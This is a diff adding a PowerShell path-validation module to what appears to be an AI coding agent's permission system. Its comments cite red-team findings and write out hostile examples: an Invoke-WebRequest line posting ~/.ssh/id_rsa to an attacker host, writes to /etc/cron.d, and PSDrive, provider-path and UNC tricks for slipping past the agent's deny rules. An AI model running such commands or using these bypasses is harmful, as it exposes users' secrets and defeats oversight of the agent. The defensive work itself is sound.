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package/src/tools/PowerShellTool/pathValidation.js

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+/**
+ * PowerShell-specific path validation for command arguments.
+ *
+ * Extracts file paths from PowerShell commands using the AST parser
+ * and validates they stay within allowed project directories.
+ * Follows the same patterns as BashTool/pathValidation.ts.
+ */
+import { homedir } from 'os';
+import { isAbsolute, resolve } from 'path';
+import { getCwd } from '../../utils/cwd.js';
+import { getFsImplementation, safeResolvePath, } from '../../utils/fsOperations.js';
+import { containsPathTraversal, getDirectoryForPath } from '../../utils/path.js';
+import { allWorkingDirectories, checkEditableInternalPath, checkPathSafetyForAutoEdit, checkReadableInternalPath, matchingRuleForInput, pathInAllowedWorkingPath, } from '../../utils/permissions/filesystem.js';
+import { createReadRuleSuggestion } from '../../utils/permissions/PermissionUpdate.js';
+import { isDangerousRemovalPath, isPathInSandboxWriteAllowlist, } from '../../utils/permissions/pathValidation.js';
+import { getPlatform } from '../../utils/platform.js';
+import { isNullRedirectionTarget, isPowerShellParameter, } from '../../utils/powershell/parser.js';
+import { COMMON_SWITCHES, COMMON_VALUE_PARAMS } from './commonParameters.js';
+import { resolveToCanonical } from './readOnlyValidation.js';
+const MAX_DIRS_TO_LIST = 5;
+// PowerShell wildcards are only * ? [ ] — braces are LITERAL characters
+// (no brace expansion). Including {} mis-routed paths like `./{x}/passwd`
+// through glob-base truncation instead of full-path symlink resolution.
+const GLOB_PATTERN_REGEX = /[*?[\]]/;
+const CMDLET_PATH_CONFIG = {
+    // ─── Write/create operations ──────────────────────────────────────────────
+    'set-content': {
+        operationType: 'write',
+        // -PSPath and -LP are runtime aliases for -LiteralPath on all provider
+        // cmdlets. Without them, colon syntax (-PSPath:/etc/x) falls to the
+        // unknown-param branch → path trapped → paths=[] → deny never consulted.
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: [
+            '-passthru',
+            '-force',
+            '-whatif',
+            '-confirm',
+            '-usetransaction',
+            '-nonewline',
+            '-asbytestream', // PS 6+
+        ],
+        knownValueParams: [
+            '-value',
+            '-filter',
+            '-include',
+            '-exclude',
+            '-credential',
+            '-encoding',
+            '-stream',
+        ],
+    },
+    'add-content': {
+        operationType: 'write',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: [
+            '-passthru',
+            '-force',
+            '-whatif',
+            '-confirm',
+            '-usetransaction',
+            '-nonewline',
+            '-asbytestream', // PS 6+
+        ],
+        knownValueParams: [
+            '-value',
+            '-filter',
+            '-include',
+            '-exclude',
+            '-credential',
+            '-encoding',
+            '-stream',
+        ],
+    },
+    'remove-item': {
+        operationType: 'write',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: [
+            '-recurse',
+            '-force',
+            '-whatif',
+            '-confirm',
+            '-usetransaction',
+        ],
+        knownValueParams: [
+            '-filter',
+            '-include',
+            '-exclude',
+            '-credential',
+            '-stream',
+        ],
+    },
+    'clear-content': {
+        operationType: 'write',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
+        knownValueParams: [
+            '-filter',
+            '-include',
+            '-exclude',
+            '-credential',
+            '-stream',
+        ],
+    },
+    // Out-File/Tee-Object/Export-Csv/Export-Clixml were absent, so path-level
+    // deny rules (Edit(/etc/**)) hard-blocked `Set-Content /etc/x` but only
+    // *asked* for `Out-File /etc/x`. All four are write cmdlets that accept
+    // file paths positionally.
+    'out-file': {
+        operationType: 'write',
+        // Out-File uses -FilePath (position 0). -Path is PowerShell's documented
+        // ALIAS for -FilePath — must be in pathParams or `Out-File -Path:./x`
+        // (colon syntax, one token) falls to unknown-param → value trapped →
+        // paths=[] → Edit deny never consulted → ask (fail-safe but deny downgrade).
+        pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: [
+            '-append',
+            '-force',
+            '-noclobber',
+            '-nonewline',
+            '-whatif',
+            '-confirm',
+        ],
+        knownValueParams: ['-inputobject', '-encoding', '-width'],
+    },
+    'tee-object': {
+        operationType: 'write',
+        // Tee-Object uses -FilePath (position 0, alias: -Path). -Variable NOT a path.
+        pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-append'],
+        knownValueParams: ['-inputobject', '-variable', '-encoding'],
+    },
+    'export-csv': {
+        operationType: 'write',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: [
+            '-append',
+            '-force',
+            '-noclobber',
+            '-notypeinformation',
+            '-includetypeinformation',
+            '-useculture',
+            '-noheader',
+            '-whatif',
+            '-confirm',
+        ],
+        knownValueParams: [
+            '-inputobject',
+            '-delimiter',
+            '-encoding',
+            '-quotefields',
+            '-usequotes',
+        ],
+    },
+    'export-clixml': {
+        operationType: 'write',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-force', '-noclobber', '-whatif', '-confirm'],
+        knownValueParams: ['-inputobject', '-depth', '-encoding'],
+    },
+    // New-Item/Copy-Item/Move-Item were missing: `mkdir /etc/cron.d/evil` →
+    // resolveToCanonical('mkdir') = 'new-item' via COMMON_ALIASES → not in
+    // config → early return {paths:[], 'read'} → Edit deny never consulted.
+    //
+    // Copy-Item/Move-Item have DUAL path params (-Path source, -Destination
+    // dest). operationType:'write' is imperfect — source is semantically a read
+    // — but it means BOTH paths get Edit-deny validation, which is strictly
+    // safer than extracting neither. A per-param operationType would be ideal
+    // but that's a bigger schema change; blunt 'write' closes the gap now.
+    'new-item': {
+        operationType: 'write',
+        // -Path is position 0. -Name (position 1) is resolved by PowerShell
+        // RELATIVE TO -Path (per MS docs: "you can specify the path of the new
+        // item in Name"), including `..` traversal. We resolve against CWD
+        // (validatePath L930), not -Path — so `New-Item -Path /allowed
+        // -Name ../secret/evil` creates /allowed/../secret/evil = /secret/evil,
+        // but we resolve cwd/../secret/evil which lands ELSEWHERE and can miss
+        // the deny rule. This is a deny→ask downgrade, not fail-safe.
+        //
+        // -name is in leafOnlyPathParams: simple leaf filenames (`foo.txt`) are
+        // extracted (resolves to cwd/foo.txt — slightly wrong, but -Path
+        // extraction covers the directory, and a leaf can't traverse);
+        // any value with `/`, `\`, `.`, `..` flags hasUnvalidatablePathArg →
+        // ask. Joining -Name against -Path would be correct but needs
+        // cross-parameter tracking — out of scope here.
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        leafOnlyPathParams: ['-name'],
+        knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
+        knownValueParams: ['-itemtype', '-value', '-credential', '-type'],
+    },
+    'copy-item': {
+        operationType: 'write',
+        // -Path (position 0) is source, -Destination (position 1) is dest.
+        // Both extracted; both validated as write.
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
+        knownSwitches: [
+            '-container',
+            '-force',
+            '-passthru',
+            '-recurse',
+            '-whatif',
+            '-confirm',
+            '-usetransaction',
+        ],
+        knownValueParams: [
+            '-filter',
+            '-include',
+            '-exclude',
+            '-credential',
+            '-fromsession',
+            '-tosession',
+        ],
+    },
+    'move-item': {
+        operationType: 'write',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
+        knownSwitches: [
+            '-force',
+            '-passthru',
+            '-whatif',
+            '-confirm',
+            '-usetransaction',
+        ],
+        knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
+    },
+    // rename-item/set-item: same class — ren/rni/si in COMMON_ALIASES, neither
+    // was in config. `ren /etc/passwd passwd.bak` → resolves to rename-item
+    // → not in config → {paths:[], 'read'} → Edit deny bypassed. This closes
+    // the COMMON_ALIASES→CMDLET_PATH_CONFIG coverage audit: every
+    // write-cmdlet alias now resolves to a config entry.
+    'rename-item': {
+        operationType: 'write',
+        // -Path position 0, -NewName position 1. -NewName is leaf-only (docs:
+        // "You cannot specify a new drive or a different path") and Rename-Item
+        // explicitly rejects `..` in it — so knownValueParams is correct here,
+        // unlike New-Item -Name which accepts traversal.
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: [
+            '-force',
+            '-passthru',
+            '-whatif',
+            '-confirm',
+            '-usetransaction',
+        ],
+        knownValueParams: [
+            '-newname',
+            '-credential',
+            '-filter',
+            '-include',
+            '-exclude',
+        ],
+    },
+    'set-item': {
+        operationType: 'write',
+        // FileSystem provider throws NotSupportedException for Set-Item content,
+        // so the practical write surface is registry/env/function/alias providers.
+        // Provider-qualified paths (HKLM:\\, Env:\\) are independently caught at
+        // step 3.5 in powershellPermissions.ts, but classifying set-item as write
+        // here is defense-in-depth — powershellSecurity.ts:379 already lists it
+        // in ENV_WRITE_CMDLETS; this makes pathValidation consistent.
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: [
+            '-force',
+            '-passthru',
+            '-whatif',
+            '-confirm',
+            '-usetransaction',
+        ],
+        knownValueParams: [
+            '-value',
+            '-credential',
+            '-filter',
+            '-include',
+            '-exclude',
+        ],
+    },
+    // ─── Read operations ──────────────────────────────────────────────────────
+    'get-content': {
+        operationType: 'read',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: [
+            '-force',
+            '-usetransaction',
+            '-wait',
+            '-raw',
+            '-asbytestream', // PS 6+
+        ],
+        knownValueParams: [
+            '-readcount',
+            '-totalcount',
+            '-tail',
+            '-first', // alias for -TotalCount
+            '-head', // alias for -TotalCount
+            '-last', // alias for -Tail
+            '-filter',
+            '-include',
+            '-exclude',
+            '-credential',
+            '-delimiter',
+            '-encoding',
+            '-stream',
+        ],
+    },
+    'get-childitem': {
+        operationType: 'read',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: [
+            '-recurse',
+            '-force',
+            '-name',
+            '-usetransaction',
+            '-followsymlink',
+            '-directory',
+            '-file',
+            '-hidden',
+            '-readonly',
+            '-system',
+        ],
+        knownValueParams: [
+            '-filter',
+            '-include',
+            '-exclude',
+            '-depth',
+            '-attributes',
+            '-credential',
+        ],
+    },
+    'get-item': {
+        operationType: 'read',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-force', '-usetransaction'],
+        knownValueParams: [
+            '-filter',
+            '-include',
+            '-exclude',
+            '-credential',
+            '-stream',
+        ],
+    },
+    'get-itemproperty': {
+        operationType: 'read',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-usetransaction'],
+        knownValueParams: [
+            '-name',
+            '-filter',
+            '-include',
+            '-exclude',
+            '-credential',
+        ],
+    },
+    'get-itempropertyvalue': {
+        operationType: 'read',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-usetransaction'],
+        knownValueParams: [
+            '-name',
+            '-filter',
+            '-include',
+            '-exclude',
+            '-credential',
+        ],
+    },
+    'get-filehash': {
+        operationType: 'read',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: [],
+        knownValueParams: ['-algorithm', '-inputstream'],
+    },
+    'get-acl': {
+        operationType: 'read',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-audit', '-allcentralaccesspolicies', '-usetransaction'],
+        knownValueParams: ['-inputobject', '-filter', '-include', '-exclude'],
+    },
+    'format-hex': {
+        operationType: 'read',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-raw'],
+        knownValueParams: [
+            '-inputobject',
+            '-encoding',
+            '-count', // PS 6+
+            '-offset', // PS 6+
+        ],
+    },
+    'test-path': {
+        operationType: 'read',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-isvalid', '-usetransaction'],
+        knownValueParams: [
+            '-filter',
+            '-include',
+            '-exclude',
+            '-pathtype',
+            '-credential',
+            '-olderthan',
+            '-newerthan',
+        ],
+    },
+    'resolve-path': {
+        operationType: 'read',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-relative', '-usetransaction', '-force'],
+        knownValueParams: ['-credential', '-relativebasepath'],
+    },
+    'convert-path': {
+        operationType: 'read',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-usetransaction'],
+        knownValueParams: [],
+    },
+    'select-string': {
+        operationType: 'read',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: [
+            '-simplematch',
+            '-casesensitive',
+            '-quiet',
+            '-list',
+            '-notmatch',
+            '-allmatches',
+            '-noemphasis', // PS 7+
+            '-raw', // PS 7+
+        ],
+        knownValueParams: [
+            '-inputobject',
+            '-pattern',
+            '-include',
+            '-exclude',
+            '-encoding',
+            '-context',
+            '-culture', // PS 7+
+        ],
+    },
+    'set-location': {
+        operationType: 'read',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-passthru', '-usetransaction'],
+        knownValueParams: ['-stackname'],
+    },
+    'push-location': {
+        operationType: 'read',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-passthru', '-usetransaction'],
+        knownValueParams: ['-stackname'],
+    },
+    'pop-location': {
+        operationType: 'read',
+        // Pop-Location has no -Path/-LiteralPath (it pops from the stack),
+        // but we keep the entry so it passes through path validation gracefully.
+        pathParams: [],
+        knownSwitches: ['-passthru', '-usetransaction'],
+        knownValueParams: ['-stackname'],
+    },
+    'select-xml': {
+        operationType: 'read',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: [],
+        knownValueParams: ['-xml', '-content', '-xpath', '-namespace'],
+    },
+    'get-winevent': {
+        operationType: 'read',
+        // Get-WinEvent only has -Path, no -LiteralPath
+        pathParams: ['-path'],
+        knownSwitches: ['-force', '-oldest'],
+        knownValueParams: [
+            '-listlog',
+            '-logname',
+            '-listprovider',
+            '-providername',
+            '-maxevents',
+            '-computername',
+            '-credential',
+            '-filterxpath',
+            '-filterxml',
+            '-filterhashtable',
+        ],
+    },
+    // Write-path cmdlets with output parameters. Without these entries,
+    // -OutFile / -DestinationPath would write to arbitrary paths unvalidated.
+    'invoke-webrequest': {
+        operationType: 'write',
+        // -OutFile is the write target; -InFile is a read source (uploads a local
+        // file). Both are in pathParams so Edit deny rules are consulted (this
+        // config is operationType:write → permissionType:edit). A user with
+        // Edit(~/.ssh/**) deny blocks `iwr https://attacker -Method POST
+        // -InFile ~/.ssh/id_rsa` exfil. Read-only deny rules are not consulted
+        // for write-type cmdlets — that's a known limitation of the
+        // operationType→permissionType mapping.
+        pathParams: ['-outfile', '-infile'],
+        positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
+        optionalWrite: true, // only writes with -OutFile; bare iwr is pipeline-only
+        knownSwitches: [
+            '-allowinsecureredirect',
+            '-allowunencryptedauthentication',
+            '-disablekeepalive',
+            '-nobodyprogress',
+            '-passthru',
+            '-preservefileauthorizationmetadata',
+            '-resume',
+            '-skipcertificatecheck',
+            '-skipheadervalidation',
+            '-skiphttperrorcheck',
+            '-usebasicparsing',
+            '-usedefaultcredentials',
+        ],
+        knownValueParams: [
+            '-uri',
+            '-method',
+            '-body',
+            '-contenttype',
+            '-headers',
+            '-maximumredirection',
+            '-maximumretrycount',
+            '-proxy',
+            '-proxycredential',
+            '-retryintervalsec',
+            '-sessionvariable',
+            '-timeoutsec',
+            '-token',
+            '-transferencoding',
+            '-useragent',
+            '-websession',
+            '-credential',
+            '-authentication',
+            '-certificate',
+            '-certificatethumbprint',
+            '-form',
+            '-httpversion',
+        ],
+    },
+    'invoke-restmethod': {
+        operationType: 'write',
+        // -OutFile is the write target; -InFile is a read source (uploads a local
+        // file). Both must be in pathParams so deny rules are consulted.
+        pathParams: ['-outfile', '-infile'],
+        positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
+        optionalWrite: true, // only writes with -OutFile; bare irm is pipeline-only
+        knownSwitches: [
+            '-allowinsecureredirect',
+            '-allowunencryptedauthentication',
+            '-disablekeepalive',
+            '-followrellink',
+            '-nobodyprogress',
+            '-passthru',
+            '-preservefileauthorizationmetadata',
+            '-resume',
+            '-skipcertificatecheck',
+            '-skipheadervalidation',
+            '-skiphttperrorcheck',
+            '-usebasicparsing',
+            '-usedefaultcredentials',
+        ],
+        knownValueParams: [
+            '-uri',
+            '-method',
+            '-body',
+            '-contenttype',
+            '-headers',
+            '-maximumfollowrellink',
+            '-maximumredirection',
+            '-maximumretrycount',
+            '-proxy',
+            '-proxycredential',
+            '-responseheaderstvariable',
+            '-retryintervalsec',
+            '-sessionvariable',
+            '-statuscodevariable',
+            '-timeoutsec',
+            '-token',
+            '-transferencoding',
+            '-useragent',
+            '-websession',
+            '-credential',
+            '-authentication',
+            '-certificate',
+            '-certificatethumbprint',
+            '-form',
+            '-httpversion',
+        ],
+    },
+    'expand-archive': {
+        operationType: 'write',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
+        knownSwitches: ['-force', '-passthru', '-whatif', '-confirm'],
+        knownValueParams: [],
+    },
+    'compress-archive': {
+        operationType: 'write',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
+        knownSwitches: ['-force', '-update', '-passthru', '-whatif', '-confirm'],
+        knownValueParams: ['-compressionlevel'],
+    },
+    // *-ItemProperty cmdlets: primary use is the Registry provider (set/new/
+    // remove a registry VALUE under a key). Provider-qualified paths (HKLM:\,
+    // HKCU:\) are independently caught at step 3.5 in powershellPermissions.ts.
+    // Entries here are defense-in-depth for Edit-deny-rule consultation, mirroring
+    // set-item's rationale.
+    'set-itemproperty': {
+        operationType: 'write',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: [
+            '-passthru',
+            '-force',
+            '-whatif',
+            '-confirm',
+            '-usetransaction',
+        ],
+        knownValueParams: [
+            '-name',
+            '-value',
+            '-type',
+            '-filter',
+            '-include',
+            '-exclude',
+            '-credential',
+            '-inputobject',
+        ],
+    },
+    'new-itemproperty': {
+        operationType: 'write',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
+        knownValueParams: [
+            '-name',
+            '-value',
+            '-propertytype',
+            '-type',
+            '-filter',
+            '-include',
+            '-exclude',
+            '-credential',
+        ],
+    },
+    'remove-itemproperty': {
+        operationType: 'write',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
+        knownValueParams: [
+            '-name',
+            '-filter',
+            '-include',
+            '-exclude',
+            '-credential',
+        ],
+    },
+    'clear-item': {
+        operationType: 'write',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
+        knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
+    },
+    'export-alias': {
+        operationType: 'write',
+        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
+        knownSwitches: [
+            '-append',
+            '-force',
+            '-noclobber',
+            '-passthru',
+            '-whatif',
+            '-confirm',
+        ],
+        knownValueParams: ['-name', '-description', '-scope', '-as'],
+    },
+};
+/**
+ * Checks if a lowercase parameter name (with leading dash) matches any entry
+ * in the given param list, accounting for PowerShell's prefix-matching behavior
+ * (e.g., -Lit matches -LiteralPath).
+ */
+function matchesParam(paramLower, paramList) {
+    for (const p of paramList) {
+        if (p === paramLower ||
+            (paramLower.length > 1 && p.startsWith(paramLower))) {
+            return true;
+        }
+    }
+    return false;
+}
+/**
+ * Returns true if a colon-syntax value contains expression constructs that
+ * mask the real runtime path (arrays, subexpressions, variables, backtick
+ * escapes). The outer CommandParameterAst 'Parameter' element type hides
+ * these from our AST walk, so we must detect them textually.
+ *
+ * Used in three branches of extractPathsFromCommand: pathParams,
+ * leafOnlyPathParams, and the unknown-param defense-in-depth branch.
+ */
+function hasComplexColonValue(rawValue) {
+    return (rawValue.includes(',') ||
+        rawValue.startsWith('(') ||
+        rawValue.startsWith('[') ||
+        rawValue.includes('`') ||
+        rawValue.includes('@(') ||
+        rawValue.startsWith('@{') ||
+        rawValue.includes('$'));
+}
+function formatDirectoryList(directories) {
+    const dirCount = directories.length;
+    if (dirCount <= MAX_DIRS_TO_LIST) {
+        return directories.map(dir => `'${dir}'`).join(', ');
+    }
+    const firstDirs = directories
+        .slice(0, MAX_DIRS_TO_LIST)
+        .map(dir => `'${dir}'`)
+        .join(', ');
+    return `${firstDirs}, and ${dirCount - MAX_DIRS_TO_LIST} more`;
+}
+/**
+ * Expands tilde (~) at the start of a path to the user's home directory.
+ */
+function expandTilde(filePath) {
+    if (filePath === '~' ||
+        filePath.startsWith('~/') ||
+        filePath.startsWith('~\\')) {
+        return homedir() + filePath.slice(1);
+    }
+    return filePath;
+}
+/**
+ * Checks the raw user-provided path (pre-realpath) for dangerous removal
+ * targets. safeResolvePath/realpathSync canonicalizes in ways that defeat
+ * isDangerousRemovalPath: on Windows '/' → 'C:\' (fails the === '/' check);
+ * on macOS homedir() may be under /var which realpathSync rewrites to
+ * /private/var (fails the === homedir() check). Checking the tilde-expanded,
+ * backslash-normalized form catches the dangerous shapes (/, ~, /etc, /usr)
+ * as the user typed them.
+ */
+export function isDangerousRemovalRawPath(filePath) {
+    const expanded = expandTilde(filePath.replace(/^['"]|['"]$/g, '')).replace(/\\/g, '/');
+    return isDangerousRemovalPath(expanded);
+}
+export function dangerousRemovalDeny(path) {
+    return {
+        behavior: 'deny',
+        message: `Remove-Item on system path '${path}' is blocked. This path is protected from removal.`,
+        decisionReason: {
+            type: 'other',
+            reason: 'Removal targets a protected system path',
+        },
+    };
+}
+/**
+ * Checks if a resolved path is allowed for the given operation type.
+ * Mirrors the logic in BashTool/pathValidation.ts isPathAllowed.
+ */
+function isPathAllowed(resolvedPath, context, operationType, precomputedPathsToCheck) {
+    const permissionType = operationType === 'read' ? 'read' : 'edit';
+    // 1. Check deny rules first
+    const denyRule = matchingRuleForInput(resolvedPath, context, permissionType, 'deny');
+    if (denyRule !== null) {
+        return {
+            allowed: false,
+            decisionReason: { type: 'rule', rule: denyRule },
+        };
+    }
+    // 2. For write/create operations, check internal editable paths (plan files, scratchpad, agent memory, job dirs)
+    // This MUST come before checkPathSafetyForAutoEdit since .claude is a dangerous directory
+    // and internal editable paths live under ~/.claude/ — matching the ordering in
+    // checkWritePermissionForTool (filesystem.ts step 1.5)
+    if (operationType !== 'read') {
+        const internalEditResult = checkEditableInternalPath(resolvedPath, {});
+        if (internalEditResult.behavior === 'allow') {
+            return {
+                allowed: true,
+                decisionReason: internalEditResult.decisionReason,
+            };
+        }
+    }
+    // 2.5. For write/create operations, check safety validations
+    if (operationType !== 'read') {
+        const safetyCheck = checkPathSafetyForAutoEdit(resolvedPath, precomputedPathsToCheck);
+        if (!safetyCheck.safe) {
+            return {
+                allowed: false,
+                decisionReason: {
+                    type: 'safetyCheck',
+                    reason: safetyCheck.message,
+                    classifierApprovable: safetyCheck.classifierApprovable,
+                },
+            };
+        }
+    }
+    // 3. Check if path is in allowed working directory
+    const isInWorkingDir = pathInAllowedWorkingPath(resolvedPath, context, precomputedPathsToCheck);
+    if (isInWorkingDir) {
+        if (operationType === 'read' || context.mode === 'acceptEdits') {
+            return { allowed: true };
+        }
+    }
+    // 3.5. For read operations, check internal readable paths
+    if (operationType === 'read') {
+        const internalReadResult = checkReadableInternalPath(resolvedPath, {});
+        if (internalReadResult.behavior === 'allow') {
+            return {
+                allowed: true,
+                decisionReason: internalReadResult.decisionReason,
+            };
+        }
+    }
+    // 3.7. For write/create operations to paths OUTSIDE the working directory,
+    // check the sandbox write allowlist. When the sandbox is enabled, users
+    // have explicitly configured writable directories (e.g. /tmp/claude/) —
+    // treat these as additional allowed write directories so redirects/Out-File/
+    // New-Item don't prompt unnecessarily. Paths IN the working directory are
+    // excluded: the sandbox allowlist always seeds '.' (cwd), which would
+    // bypass the acceptEdits gate at step 3.
+    if (operationType !== 'read' &&
+        !isInWorkingDir &&
+        isPathInSandboxWriteAllowlist(resolvedPath)) {
+        return {
+            allowed: true,
+            decisionReason: {
+                type: 'other',
+                reason: 'Path is in sandbox write allowlist',
+            },
+        };
+    }
+    // 4. Check allow rules
+    const allowRule = matchingRuleForInput(resolvedPath, context, permissionType, 'allow');
+    if (allowRule !== null) {
+        return {
+            allowed: true,
+            decisionReason: { type: 'rule', rule: allowRule },
+        };
+    }
+    // 5. Path is not allowed
+    return { allowed: false };
+}
+/**
+ * Best-effort deny check for paths obscured by :: or backtick syntax.
+ * ONLY checks deny rules — never auto-allows. If the stripped guess
+ * doesn't match a deny rule, we fall through to ask as before.
+ */
+function checkDenyRuleForGuessedPath(strippedPath, cwd, toolPermissionContext, operationType) {
+    // Red-team P7: null bytes make expandPath throw. Pre-existing but
+    // defend here since we're introducing a new call path.
+    if (!strippedPath || strippedPath.includes('\0'))
+        return null;
+    // Red-team P3: `~/.ssh/x strips to ~/.ssh/x but expandTilde only fires
+    // on leading ~ — the backtick was in front of it. Re-run here.
+    const tildeExpanded = expandTilde(strippedPath);
+    const abs = isAbsolute(tildeExpanded)
+        ? tildeExpanded
+        : resolve(cwd, tildeExpanded);
+    const { resolvedPath } = safeResolvePath(getFsImplementation(), abs);
+    const permissionType = operationType === 'read' ? 'read' : 'edit';
+    const denyRule = matchingRuleForInput(resolvedPath, toolPermissionContext, permissionType, 'deny');
+    return denyRule ? { resolvedPath, rule: denyRule } : null;
+}
+/**
+ * Validates a file system path, handling tilde expansion.
+ */
+function validatePath(filePath, cwd, toolPermissionContext, operationType) {
+    // Remove surrounding quotes if present
+    const cleanPath = expandTilde(filePath.replace(/^['"]|['"]$/g, ''));
+    // SECURITY: PowerShell Core normalizes backslashes to forward slashes on all
+    // platforms, but path.resolve on Linux/Mac treats them as literal characters.
+    // Normalize before resolution so traversal patterns like dir\..\..\etc\shadow
+    // are correctly detected.
+    const normalizedPath = cleanPath.replace(/\\/g, '/');
+    // SECURITY: Backtick (`) is PowerShell's escape character. It is a no-op in
+    // many positions (e.g., `/ === /) but defeats Node.js path checks like
+    // isAbsolute(). Redirection targets use raw .Extent.Text which preserves
+    // backtick escapes. Treat any path containing a backtick as unvalidatable.
+    if (normalizedPath.includes('`')) {
+        // Red-team P3: backtick is already resolved for StringConstant args
+        // (parser uses .value); this guard primarily fires for redirection
+        // targets which use raw .Extent.Text. Strip is a no-op for most special
+        // escapes (`n → n) but that's fine — wrong guess → no deny match →
+        // falls to ask.
+        const backtickStripped = normalizedPath.replace(/`/g, '');
+        const denyHit = checkDenyRuleForGuessedPath(backtickStripped, cwd, toolPermissionContext, operationType);
+        if (denyHit) {
+            return {
+                allowed: false,
+                resolvedPath: denyHit.resolvedPath,
+                decisionReason: { type: 'rule', rule: denyHit.rule },
+            };
+        }
+        return {
+            allowed: false,
+            resolvedPath: normalizedPath,
+            decisionReason: {
+                type: 'other',
+                reason: 'Backtick escape characters in paths cannot be statically validated and require manual approval',
+            },
+        };
+    }
+    // SECURITY: Block module-qualified provider paths. PowerShell allows
+    // `Microsoft.PowerShell.Core\FileSystem::/etc/passwd` which resolves to
+    // `/etc/passwd` via the FileSystem provider. The `::` is the provider
+    // path separator and doesn't match the simple `^[a-z]{2,}:` regex.
+    if (normalizedPath.includes('::')) {
+        // Strip everything up to and including the first :: — handles both
+        // FileSystem::/path and Microsoft.PowerShell.Core\FileSystem::/path.
+        // Double-:: (Foo::Bar::/x) strips first only → 'Bar::/x' → resolve
+        // makes it {cwd}/Bar::/x → won't match real deny rules → falls to ask.
+        // Safe.
+        const afterProvider = normalizedPath.slice(normalizedPath.indexOf('::') + 2);
+        const denyHit = checkDenyRuleForGuessedPath(afterProvider, cwd, toolPermissionContext, operationType);
+        if (denyHit) {
+            return {
+                allowed: false,
+                resolvedPath: denyHit.resolvedPath,
+                decisionReason: { type: 'rule', rule: denyHit.rule },
+            };
+        }
+        return {
+            allowed: false,
+            resolvedPath: normalizedPath,
+            decisionReason: {
+                type: 'other',
+                reason: 'Module-qualified provider paths (::) cannot be statically validated and require manual approval',
+            },
+        };
+    }
+    // SECURITY: Block UNC paths — they can trigger network requests and
+    // leak NTLM/Kerberos credentials
+    if (normalizedPath.startsWith('//') ||
+        /DavWWWRoot/i.test(normalizedPath) ||
+        /@SSL@/i.test(normalizedPath)) {
+        return {
+            allowed: false,
+            resolvedPath: normalizedPath,
+            decisionReason: {
+                type: 'other',
+                reason: 'UNC paths are blocked because they can trigger network requests and credential leakage',
+            },
+        };
+    }
+    // SECURITY: Reject paths containing shell expansion syntax
+    if (normalizedPath.includes('$') || normalizedPath.includes('%')) {
+        return {
+            allowed: false,
+            resolvedPath: normalizedPath,
+            decisionReason: {
+                type: 'other',
+                reason: 'Variable expansion syntax in paths requires manual approval',
+            },
+        };
+    }
+    // SECURITY: Block non-filesystem provider paths (env:, HKLM:, alias:, function:, etc.)
+    // These paths access non-filesystem resources and must require manual approval.
+    // This catches colon-syntax like -Path:env:HOME where the extracted value is 'env:HOME'.
+    //
+    // Platform split (findings #21/#28):
+    // - Windows: require 2+ letters before ':' so native drive letters (C:, D:)
+    //   pass through to path.win32.isAbsolute/resolve which handle them correctly.
+    // - POSIX: ANY <letters>: prefix is a PowerShell PSDrive — single-letter drive
+    //   paths have no native meaning on Linux/macOS. `New-PSDrive -Name Z -Root /etc`
+    //   then `Get-Content Z:/secrets` would otherwise resolve via
+    //   path.posix.resolve(cwd, 'Z:/secrets') → '{cwd}/Z:/secrets' → inside cwd →
+    //   allowed, bypassing Read(/etc/**) deny rules. We cannot statically know what
+    //   filesystem root a PSDrive maps to, so treat all drive-prefixed paths on
+    //   POSIX as unvalidatable.
